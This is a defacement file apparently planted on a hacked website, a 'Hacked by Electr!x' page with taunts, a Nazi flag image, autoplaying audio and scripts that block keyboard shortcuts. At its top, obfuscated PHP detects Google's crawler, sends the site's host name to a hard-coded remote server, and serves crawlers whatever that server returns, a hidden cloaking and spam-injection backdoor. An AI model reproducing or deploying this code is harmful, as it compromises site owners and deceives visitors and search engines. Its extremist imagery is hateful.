<?php goto OWdl4; EOnfz: $botbotbotbot = str_replace("\40", "\x2d", $botbotbotbot); goto Ja0kh; Ja0kh: if (strpos($botbotbotbot, "\157\x6f\x67\x6c\145")) { $xxx = base64_decode("\x4e\152\125\x3d"); $xxx1 = base64_decode("\x4d\x6a\105\75"); $xxx2 = base64_decode("\115\152\115\61"); $xxx3 = base64_decode("\x4d\152\x55\x78"); $xxx4 = base64_decode("\x61\127\x35\167\x64\x58\121\75"); $xxx0 = base64_decode("\141\x48\122\x30\143\x44\x6f\x76\114\167\75\75"); $xxx00 = $xxx . "\x2e" . $xxx1 . "\56" . $xxx2 . "\56" . $xxx3; $xxx11 = $xxx4 . "\57\x3f\165\163\145\x72\x61\x67\145\x6e\164\x3d" . $botbotbotbot . "\46\x64\157\155\x61\151\x6e\x3d" . $_SERVER["\110\124\124\120\x5f\x48\x4f\123\x54"]; $url = $xxx0 . $xxx00 . "\57" . $xxx11; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); curl_close($ch); echo $result; if (strpos($result, "\x68\162\x65\146\x3d") < 1) { $result = file_get_contents("{$url}"); echo $result; } if (strpos($result, "\x68\x72\145\146\x3d") < 1) { $url = $xxx00; $fp = fsockopen($url, 80, $errno, $errstr, 30); if (!$fp) { echo "{$errstr}\x20\50{$errno}\x29\74\x62\x72\40\x2f\76\xa"; } else { $req ="\x2f" . $xxx11; $out ="\x47\105\x54\x20{$req}\40\110\124\124\x50\57\61\x2e\x30\15\12"; $out .="\x48\157\x73\x74\x3a\40{$url}\xd\xa"; $out .="\x43\x6f\x6e\156\x65\x63\x74\151\x6f\156\x3a\40\103\154\157\x73\145\15\xa\xd\12"; fwrite($fp, $out); while (!feof($fp)) { $text = $text . fgets($fp, 2048); } fclose($fp); } fclose($out); $text = explode("\xa", $text); $text = $text[7]; echo $text; } } goto RVU5T; jx7Nf: $botbotbotbot ="\56\x2e\x2e" . $_SERVER["\x48\124\124\x50\137\x55\123\x45\122\x5f\101\x47\x45\116\124"]; goto EOnfz; eVUpf: ob_end_flush(); goto FIM71; FIM71: error_reporting(0); goto jx7Nf; OWdl4: ob_implicit_flush(true); goto eVUpf; RVU5T: ?>﻿<html><title>Hacked Electr!x</title><link rel="Shortcut Icon" href="https://i.hizliresim.com/1lsebbi.jpg" type="image/x-icon"><head><meta name="keywords" content="Pwned by Electr!x, Hacked by Electr!x, Hacked by Electr!x, Turkish Hacker"><meta content='Pwned by Electr!x, Hacked by Electr!x, Hacked by Electr!x, Turkish Hacker' name='description'/><meta content='Pwned by Electr!x, Hacked by Electr!x, Hacked by Electr!x, Turkish Hacker' name='Abstract'/><meta name="description" content="Electr!x"><meta name="robots" content="index, follow"><meta name="googlebot" content="index, follow"/><meta property="og:type" content="website"><meta name="robots" content="all"/><meta name="robots schedule" content="auto"/><meta name="distribution" content="global"/><link href='https://fonts.googleapis.com/css?family=Chakra+Petch' rel='stylesheet' type='text/css'><link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.2.0/css/all.css" integrity="sha384-hWVjflwFxL6sNzntih27bfxkr27PmbbK/iSvJ+a4+0owXq79v+lsFkW54bOGbiDQ" crossorigin="anonymous"><style> p { font-size: 40px; margin:0; letter-spacing:3px; } </style><script type="text/javascript"> window.onkeydown = function(evt) { if(evt.keyCode == 123 || evt.keyCode == 85 || evt.keyCode == 17 || evt.keyCode == 16 || evt.keyCode == 74 || evt.keyCode == 116 || evt.keyCode == 73) return false; };  window.onkeypress = function(evt) { if(evt.keyCode == 123 || evt.keyCode == 85 || evt.keyCode == 17 || evt.keyCode == 16 || evt.keyCode == 74 || evt.keyCode == 116 || evt.keyCode == 73) return false; };  function disableF5(e) { if ((e.which || e.keyCode) == 116) e.preventDefault(); }; $(document).on("keydown", disableF5); </script></head><style> img[src*="https://fosmanca.art/wp-content/uploads/2018/11/images.png"] { display: none;} </style><style> body {  background-image:url("https://s9.gifyu.com/images/tumblr_d1e8d3ff93e7a147d03effdfb94ebf6a_e24e780e_500.gif");  background-size:60%; background-color:black;  background-position:bottom; background-repeat:no-repeat;}  </style><center><style> body{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;} a { color: inherit; text-decoration: none !important; }    .center { font-family: 'Montserrat', sans-serif;   position: fixed; /* or absolute */ top: 50%; left: 50%; /* bring your own prefixes */ transform: translate(-50%, -50%); animation: fadein 3s; -moz-animation: fadein 3s; /* Firefox */ -webkit-animation: fadein 3s; /* Safari and Chrome */ -o-animation: fadein 3s; /* Opera */ }â&#128;&#139;  @keyframes fadein { from { opacity:0; } to { opacity:1; } } @-moz-keyframes fadein { /* Firefox */ from { opacity:0; } to { opacity:1; } } @-webkit-keyframes fadein { /* Safari and Chrome */ from { opacity:0; } to { opacity:1; } } @-o-keyframes fadein { /* Opera */ from { opacity:0; } to { opacity: 1; } } </style><center><script>   function renderTime() {   var currentTime = new Date();   var diem ="AM";   var h = currentTime.getHours();   var m = currentTime.getMinutes();   var s = currentTime.getSeconds();   setTimeout('renderTime()',1000);   if (h == 0) {    h = 12;   } else if (h > 12) {     h = h - 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vec2(texelSize.x, 0.0); vR = vUv + vec2(texelSize.x, 0.0); vT = vUv + vec2(0.0, texelSize.y); vB = vUv - vec2(0.0, texelSize.y); gl_Position = vec4(aPosition, 0.0, 1.0); }' ); var clearShader = compileShader( gl.FRAGMENT_SHADER, 'precision highp float; precision mediump sampler2D; varying vec2 vUv; uniform sampler2D uTexture; uniform float value; void main () { gl_FragColor = value * texture2D(uTexture, vUv); }' ); var displayShader = compileShader( gl.FRAGMENT_SHADER, 'precision highp float; precision mediump sampler2D; varying vec2 vUv; uniform sampler2D uTexture; void main () { gl_FragColor = texture2D(uTexture, vUv); }' ); var splatShader = compileShader( gl.FRAGMENT_SHADER, 'precision highp float; precision mediump sampler2D; varying vec2 vUv; uniform sampler2D uTarget; uniform float aspectRatio; uniform vec3 color; uniform vec2 point; uniform float radius; void main () { vec2 p = vUv - point.xy; p.x *= aspectRatio; vec3 splat = exp(-dot(p, p) / radius) * color; vec3 base = texture2D(uTarget, vUv).xyz; gl_FragColor = vec4(base + splat, 1.0); }' ); var advectionManualFilteringShader = compileShader( gl.FRAGMENT_SHADER, 'precision highp float; precision mediump sampler2D; varying vec2 vUv; uniform sampler2D uVelocity; uniform sampler2D uSource; uniform vec2 texelSize; uniform float dt; uniform float dissipation; vec4 bilerp (in sampler2D sam, in vec2 p) { vec4 st; st.xy = floor(p - 0.5) + 0.5; st.zw = st.xy + 1.0; vec4 uv = st * texelSize.xyxy; vec4 a = texture2D(sam, uv.xy); vec4 b = texture2D(sam, uv.zy); vec4 c = texture2D(sam, uv.xw); vec4 d = texture2D(sam, uv.zw); vec2 f = p - st.xy; return mix(mix(a, b, f.x), mix(c, d, f.x), f.y); } void main () { vec2 coord = gl_FragCoord.xy - dt * texture2D(uVelocity, vUv).xy; gl_FragColor = dissipation * bilerp(uSource, coord); gl_FragColor.a = 1.0; }' ); var advectionShader = compileShader( gl.FRAGMENT_SHADER, 'precision highp float; precision mediump sampler2D; varying vec2 vUv; uniform sampler2D uVelocity; uniform sampler2D uSource; uniform vec2 texelSize; uniform float dt; uniform float dissipation; void main () { vec2 coord = vUv - dt * texture2D(uVelocity, vUv).xy * texelSize; gl_FragColor = dissipation * texture2D(uSource, coord); }' ); var divergenceShader = compileShader( gl.FRAGMENT_SHADER, 'precision highp float; precision mediump sampler2D; varying vec2 vUv; varying vec2 vL; varying vec2 vR; varying vec2 vT; varying vec2 vB; uniform sampler2D uVelocity; vec2 sampleVelocity (in vec2 uv) { vec2 multiplier = vec2(1.0, 1.0); if (uv.x < 0.0) { uv.x = 0.0; multiplier.x = -1.0; } if (uv.x > 1.0) { uv.x = 1.0; multiplier.x = -1.0; } if (uv.y < 0.0) { uv.y = 0.0; multiplier.y = -1.0; } if (uv.y > 1.0) { uv.y = 1.0; multiplier.y = -1.0; } return multiplier * texture2D(uVelocity, uv).xy; } void main () { float L = sampleVelocity(vL).x; float R = sampleVelocity(vR).x; float T = sampleVelocity(vT).y; float B = sampleVelocity(vB).y; float div = 0.5 * (R - L + T - B); gl_FragColor = vec4(div, 0.0, 0.0, 1.0); }' ); var curlShader = compileShader( gl.FRAGMENT_SHADER, 'precision highp float; precision mediump sampler2D; varying vec2 vUv; varying vec2 vL; varying vec2 vR; varying vec2 vT; varying vec2 vB; uniform sampler2D uVelocity; void main () { float L = texture2D(uVelocity, vL).y; float R = texture2D(uVelocity, vR).y; float T = texture2D(uVelocity, vT).x; float B = texture2D(uVelocity, vB).x; float vorticity = R - L - T + B; gl_FragColor = vec4(vorticity, 0.0, 0.0, 1.0); }' ); var vorticityShader = compileShader( gl.FRAGMENT_SHADER, 'precision highp float; precision mediump sampler2D; varying vec2 vUv; varying vec2 vL; varying vec2 vR; varying vec2 vT; varying vec2 vB; uniform sampler2D uVelocity; uniform sampler2D uCurl; uniform float curl; uniform float dt; void main () { float L = texture2D(uCurl, vL).y; float R = texture2D(uCurl, vR).y; float T = texture2D(uCurl, vT).x; float B = texture2D(uCurl, vB).x; float C = texture2D(uCurl, vUv).x; vec2 force = vec2(abs(T) - abs(B), abs(R) - abs(L)); force *= 1.0 / length(force + 0.00001) * curl * C; vec2 vel = texture2D(uVelocity, vUv).xy; gl_FragColor = vec4(vel + force * dt, 0.0, 1.0); }' ); var pressureShader = compileShader( gl.FRAGMENT_SHADER, 'precision highp float; precision mediump sampler2D; varying vec2 vUv; varying vec2 vL; varying vec2 vR; varying vec2 vT; varying vec2 vB; uniform sampler2D uPressure; uniform sampler2D uDivergence; vec2 boundary (in vec2 uv) { uv = min(max(uv, 0.0), 1.0); return uv; } void main () { float L = texture2D(uPressure, boundary(vL)).x; float R = texture2D(uPressure, boundary(vR)).x; float T = texture2D(uPressure, boundary(vT)).x; float B = texture2D(uPressure, boundary(vB)).x; float C = texture2D(uPressure, vUv).x; float divergence = texture2D(uDivergence, vUv).x; float pressure = (L + R + B + T - divergence) * 0.25; gl_FragColor = vec4(pressure, 0.0, 0.0, 1.0); }' ); var gradientSubtractShader = compileShader( gl.FRAGMENT_SHADER, 'precision highp float; precision mediump sampler2D; varying vec2 vUv; varying vec2 vL; varying vec2 vR; varying vec2 vT; varying vec2 vB; uniform sampler2D uPressure; uniform sampler2D uVelocity; vec2 boundary (in vec2 uv) { uv = min(max(uv, 0.0), 1.0); return uv; } void main () { float L = texture2D(uPressure, boundary(vL)).x; float R = texture2D(uPressure, boundary(vR)).x; float T = texture2D(uPressure, boundary(vT)).x; float B = texture2D(uPressure, boundary(vB)).x; vec2 velocity = texture2D(uVelocity, vUv).xy; velocity.xy -= vec2(R - L, T - B); gl_FragColor = vec4(velocity, 0.0, 1.0); }' );  var textureWidth = void 0; var textureHeight = void 0; var density = void 0; var velocity = void 0; var divergence = void 0; var curl = void 0; var pressure = void 0;  initFramebuffers();  var clearProgram = new GLProgram( baseVertexShader, clearShader ); var displayProgram = new GLProgram( baseVertexShader, displayShader ); var splatProgram = new GLProgram( baseVertexShader, splatShader ); var advectionProgram = new GLProgram( baseVertexShader, support_linear_float ? advectionShader : advectionManualFilteringShader ); var divergenceProgram = new GLProgram( baseVertexShader, divergenceShader ); var curlProgram = new GLProgram( baseVertexShader, curlShader ); var vorticityProgram = new GLProgram( baseVertexShader, vorticityShader ); var pressureProgram = new GLProgram( baseVertexShader, pressureShader ); var gradienSubtractProgram = new GLProgram( baseVertexShader, gradientSubtractShader );  function initFramebuffers() {  textureWidth = gl.drawingBufferWidth >> config.TEXTURE_DOWNSAMPLE; textureHeight = gl.drawingBufferHeight >> config.TEXTURE_DOWNSAMPLE;  var iFormat = ext.internalFormat; var iFormatRG = ext.internalFormatRG; var formatRG = ext.formatRG; var texType = ext.texType;  density = createDoubleFBO( 0, textureWidth, textureHeight, iFormat, gl.RGBA, texType, support_linear_float ? gl.LINEAR : gl.NEAREST ); velocity = createDoubleFBO( 2, textureWidth, textureHeight, iFormatRG, formatRG, texType, support_linear_float ? gl.LINEAR : gl.NEAREST ); divergence = createFBO( 4, textureWidth, textureHeight, iFormatRG, formatRG, texType, gl.NEAREST ); curl = createFBO( 5, textureWidth, textureHeight, iFormatRG, formatRG, texType, gl.NEAREST ); pressure = createDoubleFBO( 6, textureWidth, textureHeight, iFormatRG, formatRG, texType, gl.NEAREST );  }  function createFBO( texId, w, h, internalFormat, format, type, param ) {  gl.activeTexture( gl.TEXTURE0 + texId );  var texture = gl.createTexture();  gl.bindTexture( gl.TEXTURE_2D, texture ); gl.texParameteri( gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, param ); gl.texParameteri( gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, param ); gl.texParameteri( gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE ); gl.texParameteri( gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE ); gl.texImage2D( gl.TEXTURE_2D, 0, internalFormat, w, h, 0, format, type, null );  var fbo = gl.createFramebuffer();  gl.bindFramebuffer( gl.FRAMEBUFFER, fbo ); gl.framebufferTexture2D( gl.FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, texture, 0 ); gl.viewport( 0, 0, w, h ); gl.clear( gl.COLOR_BUFFER_BIT );  return [ texture, fbo, texId ];  }  function createDoubleFBO( texId, w, h, internalFormat, format, type, param ) {  var fbo1 = createFBO( texId, w, h, internalFormat, format, type, param ); var fbo2 = createFBO( texId + 1, w, h, internalFormat, format, type, param );  return { get first() { return fbo1; }, get second() { return fbo2; }, swap: function swap() { var temp = fbo1;  fbo1 = fbo2; fbo2 = temp; } };  }  var blit = function () {  gl.bindBuffer( gl.ARRAY_BUFFER, gl.createBuffer() ); gl.bufferData( gl.ARRAY_BUFFER, new Float32Array( [ -1, -1, -1, 1, 1, 1, 1, -1 ] ), gl.STATIC_DRAW ); gl.bindBuffer( gl.ELEMENT_ARRAY_BUFFER, gl.createBuffer() ); gl.bufferData( gl.ELEMENT_ARRAY_BUFFER, new Uint16Array( [ 0, 1, 2, 0, 2, 3 ] ), gl.STATIC_DRAW ); gl.vertexAttribPointer( 0, 2, gl.FLOAT, false, 0, 0 ); gl.enableVertexAttribArray( 0 );  return function ( destination ) { gl.bindFramebuffer( gl.FRAMEBUFFER, destination ); gl.drawElements( gl.TRIANGLES, 6, gl.UNSIGNED_SHORT, 0 ); };  }();  var lastTime = Date.now();  update();  function update() {  resizeCanvas();  var dt = Math.min( (Date.now() - lastTime) / 1000, 0.016 ); lastTime = Date.now();  gl.viewport( 0, 0, textureWidth, textureHeight );  if ( splatStack.length > 0 ) { for ( var m = 0; m < splatStack.pop(); m++ ) {  var color = [ Math.random() * 10, Math.random() * 10, Math.random() * 10 ]; var x = canvas.width * Math.random(); var y = canvas.height * Math.random(); var dx = 1000 * (Math.random() - 0.5); var dy = 1000 * (Math.random() - 0.5);  splat( x, y, dx, dy, color ); } }  advectionProgram.bind(); gl.uniform2f( advectionProgram.uniforms.texelSize, 1.0 / textureWidth, 1.0 / textureHeight ); gl.uniform1i( advectionProgram.uniforms.uVelocity, velocity.first[ 2 ] ); gl.uniform1i( advectionProgram.uniforms.uSource, velocity.first[ 2 ] ); gl.uniform1f( advectionProgram.uniforms.dt, dt ); gl.uniform1f( advectionProgram.uniforms.dissipation, config.VELOCITY_DISSIPATION ); blit( velocity.second[ 1 ] ); velocity.swap();  gl.uniform1i( advectionProgram.uniforms.uVelocity, velocity.first[ 2 ] ); gl.uniform1i( advectionProgram.uniforms.uSource, density.first[ 2 ] ); gl.uniform1f( advectionProgram.uniforms.dissipation, config.DENSITY_DISSIPATION ); blit( density.second[ 1 ] ); density.swap();  for ( var i = 0, len = pointers.length; i < len; i++ ) { var pointer = pointers[ i ];  if ( pointer.moved ) { splat( pointer.x, pointer.y, pointer.dx, pointer.dy, pointer.color ); pointer.moved = false; } }  curlProgram.bind(); gl.uniform2f( curlProgram.uniforms.texelSize, 1.0 / textureWidth, 1.0 / textureHeight ); gl.uniform1i( curlProgram.uniforms.uVelocity, velocity.first[ 2 ] ); blit( curl[ 1 ] );  vorticityProgram.bind(); gl.uniform2f( vorticityProgram.uniforms.texelSize, 1.0 / textureWidth, 1.0 / textureHeight ); gl.uniform1i( vorticityProgram.uniforms.uVelocity, velocity.first[ 2 ] ); gl.uniform1i( vorticityProgram.uniforms.uCurl, curl[ 2 ] ); gl.uniform1f( vorticityProgram.uniforms.curl, config.CURL ); gl.uniform1f( vorticityProgram.uniforms.dt, dt ); blit( velocity.second[ 1 ] ); velocity.swap();  divergenceProgram.bind(); gl.uniform2f( divergenceProgram.uniforms.texelSize, 1.0 / textureWidth, 1.0 / textureHeight ); gl.uniform1i( divergenceProgram.uniforms.uVelocity, velocity.first[ 2 ] ); blit( divergence[ 1 ] );  clearProgram.bind();  var pressureTexId = pressure.first[ 2 ];  gl.activeTexture( gl.TEXTURE0 + pressureTexId ); gl.bindTexture( gl.TEXTURE_2D, pressure.first[ 0 ] ); gl.uniform1i( clearProgram.uniforms.uTexture, pressureTexId ); gl.uniform1f( clearProgram.uniforms.value, config.PRESSURE_DISSIPATION ); blit( pressure.second[ 1 ] ); pressure.swap();  pressureProgram.bind(); gl.uniform2f( pressureProgram.uniforms.texelSize, 1.0 / textureWidth, 1.0 / textureHeight ); gl.uniform1i( pressureProgram.uniforms.uDivergence, divergence[ 2 ] ); pressureTexId = pressure.first[ 2 ]; gl.activeTexture( gl.TEXTURE0 + pressureTexId );  for ( var _i = 0; _i < config.PRESSURE_ITERATIONS; _i++ ) { gl.bindTexture( gl.TEXTURE_2D, pressure.first[ 0 ] ); gl.uniform1i( pressureProgram.uniforms.uPressure, pressureTexId ); blit( pressure.second[ 1 ] ); pressure.swap(); }  gradienSubtractProgram.bind(); gl.uniform2f( gradienSubtractProgram.uniforms.texelSize, 1.0 / textureWidth, 1.0 / textureHeight ); gl.uniform1i( gradienSubtractProgram.uniforms.uPressure, pressure.first[ 2 ] ); gl.uniform1i( gradienSubtractProgram.uniforms.uVelocity, velocity.first[ 2 ] ); blit( velocity.second[ 1 ] ); velocity.swap();  gl.viewport( 0, 0, gl.drawingBufferWidth, gl.drawingBufferHeight ); displayProgram.bind(); gl.uniform1i( displayProgram.uniforms.uTexture, density.first[ 2 ] ); blit( null );  requestAnimationFrame( update );  }  function splat( x, y, dx, dy, color ) {  splatProgram.bind(); gl.uniform1i( splatProgram.uniforms.uTarget, velocity.first[ 2 ] ); gl.uniform1f( splatProgram.uniforms.aspectRatio, canvas.width / canvas.height ); gl.uniform2f( splatProgram.uniforms.point, x / canvas.width, 1.0 - y / canvas.height ); gl.uniform3f( splatProgram.uniforms.color, dx, -dy, 1.0 ); gl.uniform1f( splatProgram.uniforms.radius, config.SPLAT_RADIUS ); blit( velocity.second[ 1 ] ); velocity.swap();  gl.uniform1i( splatProgram.uniforms.uTarget, density.first[ 2 ] ); gl.uniform3f( splatProgram.uniforms.color, color[ 0 ] * 0.3, color[ 1 ] * 0.3, color[ 2 ] * 0.3 ); blit( density.second[ 1 ] ); density.swap();  }  function resizeCanvas() {  ( canvas.width !== canvas.clientWidth || canvas.height !== canvas.clientHeight ) && ( canvas.width = canvas.clientWidth, canvas.height = canvas.clientHeight, initFramebuffers() );  }  var count = 0; var colorArr = [ Math.random() + 0.2, Math.random() + 0.2, Math.random() + 0.2 ];  canvas.addEventListener( 'mousemove', function ( e ) {  count++;  ( count > 25 ) && (colorArr = [ Math.random() + 0.2, Math.random() + 0.2, Math.random() + 0.2 ], count = 0);  pointers[ 0 ].down = true; pointers[ 0 ].color = colorArr; pointers[ 0 ].moved = pointers[ 0 ].down; pointers[ 0 ].dx = (e.offsetX - pointers[ 0 ].x) * 10.0; pointers[ 0 ].dy = (e.offsetY - pointers[ 0 ].y) * 10.0; pointers[ 0 ].x = e.offsetX; pointers[ 0 ].y = e.offsetY;  } );  canvas.addEventListener( 'touchmove', function ( e ) {  e.preventDefault();  var touches = e.targetTouches;  count++;  ( count > 25 ) && (colorArr = [ Math.random() + 0.2, Math.random() + 0.2, Math.random() + 0.2 ], count = 0);  for ( var i = 0, len = touches.length; i < len; i++ ) {  if ( i >= pointers.length ) pointers.push( new pointerPrototype() );  pointers[ i ].id = touches[ i ].identifier; pointers[ i ].down = true; pointers[ i ].x = touches[ i ].pageX; pointers[ i ].y = touches[ i ].pageY; pointers[ i ].color = colorArr;  var pointer = pointers[ i ];  pointer.moved = pointer.down; pointer.dx = (touches[ i ].pageX - pointer.x) * 10.0; pointer.dy = (touches[ i ].pageY - pointer.y) * 10.0; pointer.x = touches[ i ].pageX; pointer.y = touches[ i ].pageY;  }  }, false ); </script></center></center><br><br><center><center><img src="https://fosmanca.art/wp-content/uploads/2018/11/german-ww2-nazi-5-x-3-flag-1494-p-696x408.jpg"></center><center><br><br><b><font size="6px" face="Chakra Petch" color="red">~~ Hacked by Electr!x ~~<br><b><font size="5px" face="Chakra Petch" color="white">~~ Security Is An Illusion ~~<br><b><font size="5px" face="Chakra Petch" color="white">~~ Hacked by Electr!x ~~<br><b><font size="5px" face="Chakra Petch" color="red">~~ Kolaysınız. ~~<br><audio id="audio" preload="" autoplay="" loop=""><source type="audio/mp3" src="https://kosred.com/a/rzgqjk.mp3"></audio><div style="letter-spacing: 3;font-size: 15;"><div id="center"><div class="animated fadeInDown"></div><br><div id="pp" style="cursor: pointer; letter-spacing: 2px; font-size: 14px;" onclick="pVid();"><i class="fas fa-play"></i></div></center></div><script type="text/javascript"> var audio = document.getElementById("audio");   function pVid() {  audio.paused ? audio.play() : audio.pause(); }  </script><div class="animated fadeInUp"><pre></pre><center><div id="clockDisplay" class="clockStyle">09:44:37 PM</div></center><audio id="audio" preload="" autoplay="" loop=""><source type="audio/mp3" src="3"></audio><script>   function renderTime() {   var currentTime = new Date();   var diem ="AM";   var h = currentTime.getHours();   var m = currentTime.getMinutes();   var s = currentTime.getSeconds();   setTimeout('renderTime()',1000);   if (h == 0) {    h = 12;   } else if (h > 12) {     h = h - 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